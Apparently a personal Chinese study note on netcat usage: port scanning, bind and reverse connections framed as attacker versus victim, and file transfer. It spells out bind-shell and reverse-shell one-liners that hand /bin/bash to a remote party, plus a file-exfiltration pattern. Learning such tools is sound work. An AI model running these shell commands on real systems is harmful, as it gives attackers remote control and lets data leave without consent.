【笔记】Netcat学习笔记

前言

netcat是个计算机网络公用程序,用来对网络连线TCP或者UDP进行读写。(维基百科

下载依赖

Windows

传送门

MacOS

1
brew install netcat

探测端口

TCP

-v:显示细节

1
nc -z <ip> <port>
1
nc -z <ip> <port_1> <port_2>

UDP

1
nc -zu <ip> <port>
1
nc -zu <ip> <port_1> <port_2>

正向连接

受害者监听端口

-l:监听模式
-v:详细模式
-p <port>:指定端口号,可以省略-p

<port>:监听的端口号

-u:监听UDP端口,如果不指定则监听TCP端口

1
nc -e /bin/bash -lvp <port>

攻击者建立连接

<ip>:受害者的IP地址
<port>:受害者的端口号

1
nc <ip> <port>

反向连接

攻击者监听反弹Shell

1
nc -lvp <port>

受害者反弹Shell

-e <exe>:转发指定可执行程序的输入和输出
<ip>:攻击者的IP地址
<port>:攻击者监听的端口号

1
nc -e /bin/bash <ip> <port>

文件传输

接收端

  • 监听指定端口传输的数据,保存为文件
1
nc -lvp <port> > <file>

发送端

  • 将指定文件作为输入,发送到指定IP的指定端口
1
nc <ip> <port> < <file>

完成

参考文献

CSDN——mry6